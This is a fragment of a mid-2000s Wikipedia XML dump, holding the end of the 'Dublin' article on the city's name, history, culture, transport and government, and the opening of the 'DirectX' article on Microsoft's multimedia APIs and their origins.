The population of the city proper was 495,781 at the census of 2002. Beyond this, at the same census, the city and county population of the [[Dublin Region]] was 1,122,821 whilst the [[Greater Dublin Area]] had a figure of 1,565,446.

==Name==
[[Image:Dublin-aerialsmall.jpg|250px|right|thumb|Aerial view of Dublin near [[O'Connell Street]]&lt;/small&gt;]]
The name Dublin is an Anglicism of ''Dubh Linn'' (Irish, meaning &quot;Black Pool&quot;), though some doubt this derivation. Historically, in the old script used for the Irish language, 'bh' was written with a dot placed over the 'b' — thus appearing to be Dub Linn or Dublinn. The [[Anglo-Norman language|Norman]]-speaking English who arrived in Old Irish-speaking Ireland starting in 1169 omitted the &quot;dot&quot; (or ''séimhiú'' in Irish), and spelled the town's name as 'Dublin'.

Meanwhile, the city's name in Modern Irish — ''Baile Átha Cliath'' (&quot;The Town of the Ford of the Reed Hurdles&quot;) — actually refers to the settlement, founded in 988 by High King Mael Sechnaill II, which adjoined the town of Dubh Linn proper, at the Black Pool.

Some have suggested that &quot;Dublin&quot; is of [[Scandinavia]]n origin, cf. [[Icelandic language|Icelandic]]: &quot;djúp lind&quot; (&quot;deep pond&quot;). However, the name &quot;Dubh Linn&quot; pre-dates the arrival of the Vikings in Ireland, and the Old Norse name for Dublin is simply the words &quot;Dubh Linn&quot; re-spelled as if they were Old Norse: ''Dyflin'' (correctly pronounced &quot;DUEV-linn&quot; - indeed, the letter 'y' is still pronounced like the vowel in &quot;ewe&quot; in Modern Norwegian, Swedish, etc., just as it was in Old Norse).

==History==
{{main|History of Dublin}}

The settlement ''Dubh Linn'' dates perhaps as far back as the first century BC; ''Baile Átha Cliath'' or simply ''Áth Cliath'' was founded in 988 near by. The two towns eventually became one. The modern city retains the [[Anglicise]]d Irish name of the former and the original Irish name of the latter. After the [[Norman Ireland|Norman invasion of Ireland]], Dublin replaced the [[Hill of Tara]] as Ireland's capital, with much of the power centring on [[Dublin Castle]] until independence. From the 14th century until the late 16th century, Dublin and the surrounding area -known as the [[Pale]] - was the only area of Ireland under English government control.

[[Image:Dcastlefourcourt.jpg|240px|thumb|[[Dublin Castle]]&lt;br&gt;&lt;small&gt;Seat of the [[Lord Lieutenant of Ireland|Lord Lieutenant]] and his court until 1922&lt;/small&gt;]]

From the [[17th century]] the city expanded rapidly, helped by the [[Wide Streets Commission]]. [[Georgian Dublin]] was, for a time, the second city of the British Empire.  Much of Dublin's best architecture dates from this time. The [[Easter Rising]] of 1916 left the capital in an unstable situation and the [[Anglo-Irish War]] and [[Irish Civil War]] left the capital in ruins, with many of its finest buildings destroyed. The [[Irish Free State]] rebuilt much of the city's buildings and moved parliament to [[Leinster House]], but took no bold tasks such as remodelling. After [[The Emergency]] (World War 2) Dublin remained a capital out of time, modernisation was slow and finally the [[1960s]] saw change begin. In recent years the infrastructure of Dublin has changed immensely, with enormous private and state development of housing, transport, and business. (See also [[Development and Preservation in Dublin]]).

Since the beginning of [[England|English]] rule in the [[twelfth century]], the city has served as the capital of the island of Ireland in the varying [[geopolitics| geopolitical]] entities:

* the [[Lordship of Ireland]] ([[1171]]&amp;ndash;[[1541]])
* the [[Kingdom of Ireland]] ([[1541]]&amp;ndash;[[1800]])
* the island as part of the [[United Kingdom of Great Britain and Ireland]] ([[1801]]&amp;ndash;[[1922]])
* the [[Irish Republic]] ([[1919]]&amp;ndash;[[1922]])

From 1922, following the partition of Ireland, it served as the capital of the [[Irish Free State]] ([[1922]]&amp;ndash;[[1937]]) and now as the capital of the [[Republic of Ireland]].  (Many of these states co-existed or competed within the same timeframe as rivals within either British or Irish constitutional theory.)

==Culture==
[[Image:ClimateDublinIreland.PNG|right|thumb|200px|Average temperature (red) and precipitations (blue) in Dublin]]
Dublin is a major cultural centre in Ireland. 

Dublin is the origin of many prominent artists and writers such as James Joyce, Oscar Wilde, Samuel Beckett, Bram Stoker, and Roddy Doyle.  ''[[Dubliners]]'' is a collection of short stories by [[James Joyce]] about incidents and characters typical of residents of the city in the early part of the 20th century. [[Ulysses (novel)|''Ulysses'']], also by James Joyce, a novel set in Dublin, is full of topographical detail and is both acclaimed and controversial.

The [[National Print Museum of Ireland]], the [[Irish Museum of Modern Art]], the [[National Gallery of Ireland]], the [[Hugh Lane Municipal Gallery]], the [[Chester Beatty Library]] and three centers of the [[National Museum of Ireland]] are located in Dublin.

[[Temple Bar Dublin|Temple Bar]] is an important place for night life and often people from [[Great Britain]] and beyond visit for the weekend.

===Multicultural Dublin===
Dublin has long had a sizeable number of immigrants especially from the [[United Kingdom]], the [[United States|U.S.]], [[Australia]], [[New Zealand]], and continental [[Europe]]. More recently Dublin has also attracted significant [[Nigerian]], [[Han Chinese|Chinese]], [[Korean people|Korean]], [[India]]n, and [[Eastern European]] populations, largely attracted by Ireland's economic success since the mid-1990's. Old and once run-down streets have rapidly become busy 'ethnic districts', such as Moore Street's transformation into 'Little Africa' and Parnell Street East's into the city's de-facto 'Chinatown' and 'Asian Village'.

===Education===
[[Image:Henriettast.jpg|thumb|220px|Henrietta Street&lt;br&gt;&lt;small&gt;A streetscape in [[Georgian Dublin]]&lt;/small&gt;]]

Dublin is the primary centre of education in Ireland, with three universities and several other higher education institutions. The [[University of Dublin]] is the oldest university in Ireland dating from the 16th Century. Its sole constituent college, [[Trinity College, Dublin|Trinity College]], was established by [[Royal Charter]] under [[Elizabeth I of England|Elizabeth I]] and closed to Roman Catholics until [[Catholic Emancipation]]. The [[National University of Ireland]] has its seat in Dublin which is also the location of the associated ''constituent university'' of [[University College Dublin]] (UCD), the largest university in Ireland. [[Dublin City University]] (DCU) is the most recent university created in Dublin and specialises in business, engineering, and science courses, particularly with relevance to industry. The [[Royal College of Surgeons in Ireland]] (RCSI) is an independent medical school located on St. Stephen's Green in the city centre. The [[National University of Ireland, Maynooth]], another constituent university of the NUI, is located about 25 km from Dublin.

[[Dublin Institute of Technology]] (DIT) is a modern technical college and is the country's largest non-university third level institution; it specialises in technical subjects but also offers many arts and humanities courses. It is soon to move to a new campus at [[Grangegorman]]. There are also smaller Institutes of Technology at Blanchardstown and Tallaght. The [[National College of Art and Design]] (NCAD) and [[Dun Laoghaire Institute of Art, Design and Technology]] (DLIADT) support training and research in art, design and media technology.

There are also various other smaller specialised colleges, including private ones, in the city.  One example is [[The Gaiety School of Acting]] which hosts a two year intensive degree in acting.

===Exhibitions===
* [[1853]] - [[Great Industrial Exhibition (1853)]]
* [[1865]] - [[International Exhibition of Arts and Manufactures (1865)]]
* [[1874]] - [[International Exhibition of Arts and Manufactures (1874)]]

===Northside vs Southside===
[[Image:LiffeyDublin.JPG|thumb|right|200px|The [[River Liffey]] divides the city]]

Traditionally, a north versus south division has existed in Dublin with the dividing line provided by the [[River Liffey]]. The [[Northside (Dublin)|''Northside'']] is generally seen as working-class, while the [[Southside (Dublin)|''Southside'']] is seen as middle and upper middle class. This is also reflected by [[Dublin postal districts]], with odd numbers being used for districts on the Northside, e.g: [[Phibsboro]] is in D7, and even numbers for ones on the Southside, e.g: Sandymount is in D4.

This division dates back centuries, certainly to the point when the [[Earl of Kildare]] built his residence on the then less regarded Southside. When asked why he was building on the South Side, he replied &quot;Where I go, fashion follows me&quot;, and indeed he was promptly followed by most other [[Peerage of Ireland|Irish peers]].

[[Image:Aras Front.JPG|left|200px|thumb|[[Áras an Uachtaráin]]&lt;br&gt;&lt;small&gt;The official residence of the [[President of Ireland]]&lt;/small&gt;]]

The Northside/Southside divide is punctuated by examples of Dublin &quot;sub-culture&quot; stereotypes, with upper-middle class constituents seen as tending towards an accent and demeanour synonymous with (but not exclusive to) the D4 postcode on the Southside (''see [[Dublin 4]], [[Ross O'Carroll-Kelly]]''), and working-class Dubliners seen as tending towards accents and demeanour associated with (but not exclusive to) Northside and inner-city Dublin neighbourhoods. (''see [[Scanger]]'')

This simplification of economic and social communities in Dublin (&quot;southside rich, liberal and snobby&quot;/&quot;northside poor, industrial and common&quot;) does not survive more than a few real-world examples however. For example, the President of Ireland's residence, [[Áras an Uachtaráin]], is on the Northside, although its postal district is D8, a Southside number. Three of Dublin's wealthiest suburbs, [[Howth]], [[Malahide]], and [[Castleknock]] are to be found on the Northside. The Southside similarly has many working-class suburbs, like [[Tallaght|Tallaght]], [[Palmerstown]], [[Crumlin, Dublin|Crumlin]], and [[Ballyfermot]].

The economic divide in Dublin is more east-west than north-south (the east side of the city generally being wealthier than the west side), however many natives to Dublin prefer to use the physical barrier of the River Liffey to divide the city up into different socio-economic groupings. In fact, a greater division in social terms is evident between the coastal suburbs in the east of the city, both north and south, and the newer developments further to the west, though this too is only a rough guide.

In [[2006]], the ''[[The Economist|Economist]]'' Intelligence Unit ranked Dublin as the 16th most expensive city in the world.

===Sport===
[[Image:From the hill.jpg|320px|thumb|[[Croke Park]]&lt;br&gt;&lt;small&gt;Dublin's major sports stadium&lt;/small&gt;]]

Dublin contains the headquarters of almost all of Ireland's sporting organisations. [[Croke Park]], an 82,500-capacity stadium near Drumcondra and [[Phibsboro]], is the base of the [[Gaelic Athletic Association]] and hosts [[Gaelic Football]] and [[Hurling]] games during the summer months and on [[Saint Patrick|St. Patrick]]'s Day. The [[Dublin GAA|Dublin]] branch of the Gaelic Athletic Association play their league games at [[Parnell Park]]. 

[[Lansdowne Road]] is a 48,000 capacity stadium owned by the [[Irish Rugby Football Union]] and is also the venue for home games of the [[Republic of Ireland national football team|Republic's national football (soccer) team]].

[[Dalymount Park]], in [[Phibsboro]] and the traditional Home of Irish Soccer, is now used only for home games of local club [[Bohemian FC]]. Rivals [[Shelbourne FC]] play at nearby [[Tolka Park]], while [[St Patrick's Athletic]] play in [[Richmond Park]] in [[Inchicore]] on the south west edge of the city. [[Shamrock Rovers]] are originally from [[Milltown]] but have spent the last two decades in search of a home, and hope to complete a new stadium in [[Tallaght]] by [[2006]]. The other senior soccer clubs are [[University College Dublin F.C.]], based in [[Belfield]], and [[Dublin City F.C.]] (formerly Home Farm F.C.).

[[The National Aquatic Centre]], located in Blanchardstown, is the first building to open in the Sports Campus Ireland. There are several race courses in the Dublin area including Shelbourne Park ([[Greyhound racing]]) and Leopardstown ([[Horse racing]]). There are also [[Basketball]], [[Gaelic Handball|Handball]], [[Field hockey|Hockey]] and [[Athletics]] stadia within the city - most notably [[Morton Stadium]] in [[Santry]], which held the athletics events of the [[2003]] [[Special Olympics]].

==Infrastructure==
===Communications===
[[Radio Telifís Éireann]] (RTÉ) is Ireland's national state broadcaster, and has its main offices and studios in Donnybrook, Dublin. [[Fair City]] is the broadcasters' capital based soap, located in the fictional suburb of ''Carraigstown''. [[TV3 (Ireland)|TV3]] the state's only private [[television]] broadcaster is also based in Dublin, though much of its programming is imported from the [[British Television|UK]] and the [[American television|U.S.]]. It generally aims to attract a young audience. The main infrastructure and offices of [[postal service|An Post]] and the former state telephone company [[Eircom]], as well as [[Vodafone]] and [[O2 plc|O2]] are located in the capital. The capital is also the headquarters of important national newspapers such as [[The Irish Times]] and [[Irish Independent]], and commercial radio stations such as [[Today FM]].  
:See also ''[[List_of_newspapers_in_Ireland#Dublin|List of newspapers in Ireland - Dublin]]''

===Transport===
[[Image:PIA01804_SpaceRadarImage_Dublin-NASA.jpg|thumb|right|360px|Space Radar Image of Dublin with the Wicklow Mountains to the bottom left. [http://photojournal.jpl.nasa.gov/catalog/PIA01804]]]

Dublin is the centre of the transport system in Ireland (see [[Transport in Ireland]]). [[Dublin Port]] is the country's most important [[sea port]]. [[Dublin Airport]] is the most important airport in the republic and the bulk of passenger traffic travels through the airport. [[Heuston Station]] and [[Connolly Station]] are the city's major [[railway station]]s, Heuston connects with the towns and cities in the south and west of the Republic while Connolly serves the [[Sligo]], [[Wexford]] and Dublin-[[Belfast]] routes.

====Road network====
Dublin is also the main hub of the country's road network. The [[M50 motorway (Ireland)|M50 motorway]], a semi-[[ring road]] runs around the south, west and north of the city, connecting the most important national primary routes in the State that fan out from the capital to the regions. A toll of &amp;euro;1.80 applies on what is called the [[West-Link]], two adjacent concrete bridges that tower high above the River Liffey near the village of [[Lucan, Dublin|Lucan]]. Construction of the M50 took almost 20 years, with the final section opening in June [[2005]]. A court case regarding the destruction of medieval ruins at Carrickmines Castle delayed the final completion of the route. The M50 currently has two traffic lanes going either direction but plans are afoot to increase that to three. The National Roads Authority also intends to increase capacity at many of the motorway's busiest junctions by building triple-grade interchanges instead.
[[Image:Liffeyeast.jpg|thumb|250px|Dublin's [[Ha'penny Bridge]]&lt;br&gt; &lt;small&gt;Beyond it, the dome of the [[18th century]] [[The Custom House|Custom House]] and [[Liberty Hall]]&lt;/small&gt;]]

To complete the ring road, an eastern bypass is also proposed for the city of Dublin. The first half of this project is currently under construction, the [[Dublin Port Tunnel]]. It is scheduled to open in early 2006 and will mainly cater for heavy vehicles. When finished, Dublin City Council hopes to ban all unnecessary trucks and lorries from the city quays. The second half of the project would involve another tunnelling project, linking Dublin Port to the road network on the southside of the city. Plans for this have never been formalised.

The capital is also surrounded by what have been termed by Dublin City Council as an inner and outer orbital route. The inner orbital route runs roughly around the heart of the Georgian city from [[St. Stephen's Green]] to Mountjoy Square and from the King's Inns to [[St. Patrick's Cathedral, Dublin|St Patrick's Cathedral]]. The outer orbital route runs largely along the natural circle formed by Dublin's two canals, the [[Grand Canal of Ireland|Grand Canal]] and the [[Royal Canal of Ireland|Royal Canal]], as well as the North and South Circular Roads.

====Public transport====
[[Image:Ireland_-_Dublin_-_Tram.jpg|[[Luas]] Tram|thumb]]

The [[Dublin Area Rapid Transit]] system is the only electrified railway in the country and serves stations at regular intervals on the railway line along the east coast.  A two-line [[light rail]] system called [[Luas]] opened in 2004 and has proved popular in the (limited) areas it serves, although the lack of a link between the two lines is widely criticised. It is hoped a metro system linking Dublin Airport to the city will be the next major infrastructural project. 

The bulk of the public transport system in Dublin is made up of bus services operated by [[Bus Átha Cliath]] (Dublin Bus), which operates a network of nearly 200 daytime routes (identified by number and sometimes suffixed with a letter, e.g. 40, 40A, 40B, 40C, 40D) and 24 &quot;Nitelink&quot; overnight services which run on Monday to Saturday nights, which are identified by a number suffixed with &quot;N&quot; e.g. 40N). Apart from some tourist buses, all Dublin Bus' services are one-man operated, and daytime fares are determined by the number of fare stages travelled through — fares are payable in coin and only the exact fare is acceptable — if passengers overpay, they are issued &quot;change tickets&quot; which must be presented at the Dublin Bus office in O'Connell Street to be converted to cash. Alternatively, various pre-paid tickets and passes can be bought from Dublin Bus or its agents, and are processed by a validating machine on the right of the entrance door of the bus. Nitelink buses charge a flat fare regardless of the distance travelled.

&lt;!-- Unsourced image removed: [[Image:Liffey_boat.jpg| The [[Liffey]] is finally being exploited for Dublin's transport|thumb]] --&gt;A number of other bus companies provide services in Dublin, including [[Bus Éireann]] which provides services to the more distant parts of Dublin's ever-widening commuter belt.  In the absence of an overall transport authority in Dublin, obtaining information about all public transport options available for a particular journey can take some time.

The Irish Government has launched a [[Transport 21|national transport plan]] which is expected to cost the government '''€34.4 billion over the next 10 years'''. Most of this will go towards the [[Dublin Port Tunnel]], seven new LUAS projects, two [[Metro]] lines, [[DART]] extensions and an underground station at [[St Stephen's Green]] integrating all services. However Irish transport plans tend to go massively over-budget. The best example is the Port Tunnel which has gone over-budget all the way in to the record books.

The Port Tunnel was originally envisaged as a single bore, two lane road to cater primarily for trucks, and which by charging no toll on trucks an extorionate toll on cars to deter their custom, would not need substantial tolling infrastructure. It has been built to motorway standard as two separate tunnels to cater for all traffic and all traffic will be tolled. The tunnels are significantly deeper than originally planned to reduce disturbance to residential areas, and had to be built one kilometre longer to reach this depth and requiried many more ancillary works to facilitate this, such as demolition and rebuilding of existing bridges.

===Entertainment===
[[Image:The_Helix.jpg|right|thumb|300px|[[The Helix|The Helix Theatre]]]]
There is a vibrant night life in Dublin — the most internationally notorious area for these activities is the [[Temple Bar, Dublin|Temple Bar]] area south of the Liffey. This area has become synonymous with stag and hen parties and tourists, causing many locals to steer clear of the area.

There are several theatres within the city centre, the largest of which include the [[Abbey Theatre]], the [[Gate Theatre]], the [[Olympia Theatre]], and the [[Gaiety Theatre]], which opens its doors after the evening theatre production to host a variety of live music, dancing, and films. The Gaiety's bars are open later than any others in the city. The largest theatre in the city is the Mahony Hall in [[The Helix]] at [[Dublin City University]] in [[Glasnevin]].

There are two large cinemas in the city centre; The [[Savoy Cinema]] and the Cineworld Cinema (formerly [[UGC]]) are located north of the Liffey. Alternative and special-interest cinema can be found in the [[Irish Film Institute]] in Temple Bar, and in the Screen Cinema on d'Olier St.

===Industry===
Probably the most famous industry in Dublin is brewing: [[Guinness]] has been brewed at the [[St. James's Gate Brewery]] since [[1759]].

During the [[Celtic Tiger]] years of the mid to late nineties a large number of pharmaceutical and information technology companies have located in Dublin and its suburbs and the large volume of computer industry in Dublin has led to it being referred to as the [[Silicon Valley]] of [[Europe]].  Microsoft's [[Europe, the Middle East and Africa|EMEA]] Operations Centre is located in [[Sandyford Industrial Estate]] to the south of the city and Google and Amazon have established operational bases in the city.  Intel and Hewlett-Packard have large manufacturing plants in [[Leixlip]], [[County Kildare|Co. Kildare]] to the west of Dublin. [[Google]], [[Yahoo!]] and [[PayPal]] also have their European headquarters in Dublin.

==Government==
===City Government===
[[Image:Dublincityhall.jpg|right|300px|framed|[[City Hall, Dublin|Dublin City Hall]]&lt;br /&gt;&lt;small&gt;formerly the Royal Exchange&lt;/small&gt;]]

Dublin City is governed by ''Dublin City Council'' (formerly called ''[[Dublin Corporation]]'') which is presided over by the [[Lord Mayor of Dublin]], who is elected for a yearly term and resides in the [[Mansion House, Dublin|Mansion House]], which first became the residence of the Lord Mayor in [[1715]]. Dublin City Council is based in two major buildings. Its headquarters is in [[Dublin City Hall]], the former ''Royal Exchange'' taken over for city government use in the [[1850s]]. Many of its administrative staff are based in the controversial ''Civic Offices'', built on top of what had been one of the best preserved [[Viking]] sites in the world. The Corporation's (as it was then) decision to bulldoze the historic site proved one of the most controversial in modern Irish history, with thousands of people, including medieval historian Fr. [[F.X. Martin]] and Senator [[Mary Robinson]] (later President of Ireland) marching to try to stop the destruction. The destruction of the site on [[Wood Quay]] and the building of a set of offices known as ''The Bunkers'' (because of their ugly appearance) is generally seen as one of the most disastrous acts against Ireland's heritage since independence, with even Dublin Corporation admitting subsequently that it was ashamed of its action. Originally, there were to be four of these 'bunkers' built but only two were ever completed. Instead the river frontage is a less brutal office block designed by the firm Scott Tallon Walker. Completed in 1994, it boasts a leafy atrium and fine views from many of its offices. Council meetings take place in City Hall, one of Dublin's finest buildings and located on Dame Street. It was built to the winning design of Thomas Cooley. In an architectural competition, James Gandon was the runner-up with a scheme that many people favoured. Originally from England, Gandon is one of Ireland's favourite adopted sons and designed both the [[Four Courts]] and [[the Custom House]], two of the city's most magnificent classical buildings.

===Twinned Cities===

* {{flagicon|Spain}} - [[Barcelona]], [[Spain]]
* {{flagicon|UK}} - [[Liverpool]], [[United Kingdom]]
* {{flagicon|USA}} - [[San Jose, California]], [[United States]]

===The Dublin Region===
The Dublin Region{{fn|3}} consists of the City of Dublin and the area which was formerly known as [[County Dublin]], and covers an area of 922 km&amp;sup2; and contains over a million inhabitants. In [[1994]] County Dublin (the area ''excluding'' the city) was sub-divided into three, each new area with county-level status and its own administration, namely:

* [[Dun Laoghaire-Rathdown]]
* [[Fingal, Ireland|Fingal]]
* [[South Dublin]]

Administration of the Dublin Region as a whole is now co-ordinated by the [[Dublin Regional Authority]].

===National Government===
[[Image:Leinsterhouseirl.jpg|right|300px|framed|[[Leinster House]]&lt;br&gt;&lt;small&gt;18th century ducal palace now the seat of parliament&lt;/small&gt;]]

The Republic of Ireland's National Parliament (called the ''[[Oireachtas]]'') consists of the President of Ireland and two houses, [[Dáil Éireann]] (the House of Representatives) and [[Seanad Éireann]] (Senate). All three are based in Dublin. The [[President of Ireland]] lives in [[Áras an Uachtaráin]], the former residence of the [[Governor-General of the Irish Free State]] in the city's largest park, [[Phoenix Park]]. Both houses of the Oireachtas meet in [[Leinster House]], a former ducal palace on the south side of the city. The building has been the home of Irish parliaments since the creation of the [[Irish Free State]] on [[December 6]], [[1922]]. 

[[Image:gbuildings.jpg|left|thumb|220px|[[Irish Government Buildings|Government Buildings]]&lt;br&gt;&lt;small&gt;Formerly the [[Royal College of Science for Ireland|Royal College of Science]]&lt;/small&gt;]]

The Irish Government is based in the Irish [[Irish Government Buildings|''Government Buildings'']], a large building designed by Sir [[Aston Webb]], the architect who created the [[Edwardian]] facade to [[Buckingham Palace]]. Initially what is now Government Buildings was designed for use as the [[Royal College of Science (Ireland)|''Royal College of Science'']], the last major building built by the British administration in Ireland. In 1921 the [[House of Commons of Southern Ireland]] met there. Given its location next to Leinster House, the Irish Free State government took over part of the building to serve as a temporary home for some ministries. However both it and Leinster House (originally meant to be a temporary home of parliament) became the permanent homes of the government and parliament respectively. Until 1990, the Irish government shared the building with the Engineering Faculty of [[University College Dublin]], which retained use of the central block of the building, However following the building of a new Engineering Faculty at the UCD campus in Belfield, the Government took entire control, and remodelled the entire building for governmental use.

The previous old [[Irish Houses of Parliament]] of the [[Kingdom of Ireland]] is located in [[College Green]].

==Footnotes==
{{fnb|1}} ''Baile Átha Cliath'' (or simply ''Áth Cliath'') and ''Dubhlinn'' are the two names of the city, the former being the one currently in official use.

{{fnb|2}} Precisely {{coor dms|53|20|33.98|N|6|15|57.97|W|region:IE_type:city(495,781)}}

{{fnb|3}} [[Irish Statute Book]]: [http://www.irishstatutebook.ie/ZZSI394Y1993.html Local Government Act, 1991 (Regional Authorities) (Establishment) Order, 1993 - Dublin Region, &quot;The area consisting of the (then) county borough of Dublin and the administrative counties of Dun Laoghaire-Rathdown, Fingal and South Dublin]

==See also==
[[Image:Dublin custom house 2.jpg|right|thumb|180px|The south [[Facade (Architecture)|facade]] of the [[The Custom House|Custom House]] by night]]
[[Image:Oconnellstdublin.jpg|right|thumb|[[Spire of Dublin]]|400px]]

*[[List of Ireland-related topics]]
**Dublin
***[[Áras an Uachtaráin]]
***[[Broadstone]]
***[[Dublin Castle]]
***[[Dublin Chamber of Commerce]]
***[[Dublin statues and their nicknames]]
***[[General Post Office (Dublin)]]
****[[Dublin postal districts]]
****[[List of Dublin postal districts]]
***[[Ha'penny Bridge]]
***[[Leinster House]]
***[[List of Dublin people]]
***[[Northside (Dublin)|Northside]]
***[[Irish Houses of Parliament|Old Irish Houses of Parliament]]
***[[Photographs of Dublin]]
***[[Southside (Dublin)|Southside]]
***[[Spire of Dublin]]
***[[St. Mary's Pro-Cathedral]]
***[[The Custom House]]
***[[The Kings of Dublin]]
*** [[The Pale]]
***[[Visitor Information for Dublin, Ireland|Visitor Information for Dublin]]
***[[Whitefriar Street Carmelite Church]]
***[[2006 Dublin riots]]
* The [[Eurovision Song Contest]] took place in Dublin in [[Eurovision Song Contest 1971|1971]], [[Eurovision Song Contest 1981|1981]], [[Eurovision Song Contest 1988|1988]], [[Eurovision Song Contest 1994|1994]], [[Eurovision Song Contest 1995|1995]], and [[Eurovision Song Contest 1997|1997]].

==Additional reading==
*Pat Liddy, ''Dublin A Celebration - From the 1st to the 21st Century'' (Dublin City Council, 2000) (ISBN 0946841500)
*Maurice Craig, ''The Architecture of Ireland from the Earliest Times to 1880'' (Batsford, Paperback edition 1989) (ISBN 0713425873)
*Frank McDonald, ''Saving the City: How to Halt the Destruction of Dublin'' (Tomar Publishing, 1989) (ISBN 1871793033)
*Edward McParland, ''Public Architecture in Ireland 1680-1760'' (Yale University Press, 2001) (ISBN 0300030641)
*Hanne Hem, ''Dubliners, An Anthropologist's Account'', Oslo, 1994
*John Flynn and Jerry Kelleher, ''Dublin Journeys in America'' (High Table Publishing, 2003) (ISBN 0954469410)

==External links==
{{commons|Dublin}}
*{{Wikitravel}}
*[http://www.archiseek.com Discussion of architecture and planning]
*[http://www.dublincity.ie Dublin City Council]
*[http://www.vrdublin.co.uk VR Dublin] - Virtual Tour of the City of Dublin
*[http://www.dublin.ie Dublin.ie] - community portal for Dublin
*[http://www.irish-architecture.com/buildings_ireland/dublin/northcity/oconnell_street/spire.html Dublin Spire]
*[http://www.thedubliner.ie The Dubliner Magazine] - for clever and contemporary commentary on Dublin life.
*[http://www.visitdublin.com/ Dublin Tourism] - the official tourism site for Dublin 
*[http://www.dublintourist.com DublinTourist.com ]tourist guide
*[http://www.irelandscape.com Irelandscape] - Pictures of Dublin and other Irish Locations
*[http://www.irish-architecture.com/buildings_ireland/dublin/ Irish Architecture - Dublin]
*[http://www.chapters.eiretek.org/ www.chapters.eiretek.org] Chapters of Dublin History
*[http://www.queerid.com QueerID.com] - Guide to Dublin's gay scene
*[http://www.dub.ie Dub.ie] - community portal for Dublin
*[http://www.irlfunds.org/ireland/dublin.asp Dublin] - The Ireland Funds Dublin page
*[http://www.michaelpead.co.uk/photography/dublin Michael Pead :: Photos of Dublin] - collection of pictures taken in Dublin

{{IrishCities}}

[[Category:Dublin]]
[[Category:Capitals in Europe]]
[[Category:Cities in Ireland]]
[[Category:Coastal cities]]
[[Category:Eurovision host cities]]
[[Category:Ireland]]
[[Category:Leinster]]

[[af:Dublin]]
[[ar:دبلن]]
[[ast:Ciudá de Dublín]]
[[bg:Дъблин]]
[[be:Дублін]]
[[ca:Dublín]]
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[[cy:Dulyn]]
[[da:Dublin]]
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[[es:Dublín]]
[[eo:Dublino]]
[[fr:Dublin]]
[[ga:Baile Átha Cliath]]
[[gl:Dublín - Baile Átha Cliath]]
[[ko:더블린]]
[[io:Dublin]]
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[[he:דבלין]]
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[[ja:ダブリン]]
[[no:Dublin]]
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[[pl:Dublin]]
[[pt:Dublin]]
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[[ru:Дублин]]
[[simple:Dublin]]
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[[fi:Dublin]]
[[sv:Dublin]]
[[tpi:Dublin]]
[[tr:Dublin]]
[[zh:都柏林]]</text>
    </revision>
  </page>
  <page>
    <title>DirectX</title>
    <id>8506</id>
    <revision>
      <id>42141194</id>
      <timestamp>2006-03-04T02:20:17Z</timestamp>
      <contributor>
        <ip>68.100.81.198</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_Software |
|name =DirectX
|screenshot = [[Image:DirectX_logo.gif|center]]
|caption =The current official DirectX logo.
|developer = [[Microsoft]]
|latest_release_version = 9.0c
|latest_release_date = [[December 20]], [[2005]]
|operating_system = [[Microsoft Windows]]
|genre = [[Application framework]]
|license = [[EULA]]
|website = [http://www.microsoft.com/windows/directx/ DirectX Homepage]
}}

'''DirectX''' is a collection of [[Application Programming Interface|APIs]] for easily handling tasks related to [[game programmer|game programming]] on the [[Microsoft Windows]] operating system. It is most widely used in the development of [[computer game]]s for Microsoft Windows. The DirectX [[Software development kit|SDK]] is available free from [[Microsoft]]. The DirectX runtime was originally redistributed by [[video game developer|computer game developers]] along with their games, but later it was included in Windows. DirectX 9.0c is the latest version of DirectX. The latest versions of DirectX are still usually included with [[computer game|PC games]], since the API is updated so often.

==DirectX APIs==
The various components of DirectX are in the form of [[Component Object Model|COM]]-compliant objects. 

The components comprising DirectX are :

*'''DirectX Graphics''', comprised of two APIs (DirectX 8.0 onwards):
**[[DirectDraw]]: for drawing [[raster graphics]].
**[[Direct3D]] (D3D): for drawing [[3D computer graphics|3D graphics]] primitives
*[[DirectInput]]: used to process data from a [[computer keyboard|keyboard]], [[computer mouse|mouse]], [[joystick]], or other [[game controller]]s
*[[DirectPlay]]: for networked communication of games
*[[DirectSound]]: for the playback and recording of waveform sound
*[[DirectMusic]]: for playback of soundtracks authored in [[DirectMusic Producer]]
*[[DirectSetup]]: for the installation of DirectX components
*[[DirectX Media Objects]]: support for streaming objects such as encoders, decoder and effects

==History==
Originally targeted at the [[video game industry|game development industry]], DirectX has become more widely used among other software production industries. Most notably, Direct3D is becoming more popular among the engineering sector because of its ability to quickly render high-quality 3D graphics using the latest 3D [[graphics card|graphics hardware]].

In [[1994]], Microsoft was just on the verge of releasing its next [[operating system]], [[Windows 95]]. The main factor that would determine the value consumers would place on their new operating system very much rested on what programs would be able to run on it. Three Microsoft employees&amp;mdash;[[Craig Eisler]], [[Alex St. John]], and [[Eric Engstrom]]&amp;mdash;were concerned, because [[game programmer|programmers]] tended to see Microsoft's previous operating system, [[DOS]], as a better platform for game programming, meaning few games would be developed for Windows 95 and the operating system would not be as much of a success. 

DOS allowed direct access to video cards, [[computer keyboard|keyboards]] and [[computer mouse|mice]], [[sound card|sound devices]] and all other parts of the system, while Windows 95, with its protected memory model, restricted access to all of these, working on a much more standardized model. Microsoft needed a way that would let programmers get what they wanted, and they needed it quickly; the operating system was only months away from being released. Eisler, St. John, and Engstrom conspired together to fix this problem, with a solution that they eventually named DirectX.

The first release version of DirectX was shipped September of [[1995]] as the Windows Games SDK. It was the [[Windows API|Win32]] replacement for poorly designed, ill-conceived APIs for the [[Windows API|Win16]] [[operating system]] (DCI and [[WinG]]).  The development of DirectX was led by the team of Eisler (development lead), St. John, and Engstrom (program manager). Simply put, it allowed all versions of Microsoft Windows, starting with Windows 95, to incorporate high-performance multimedia.  Eisler wrote about the frenzy to build DirectX 1 through 5 [http://gadgetblog.theeislers.com/2006/02/directx_then_and_now_part_1.php in his blog].

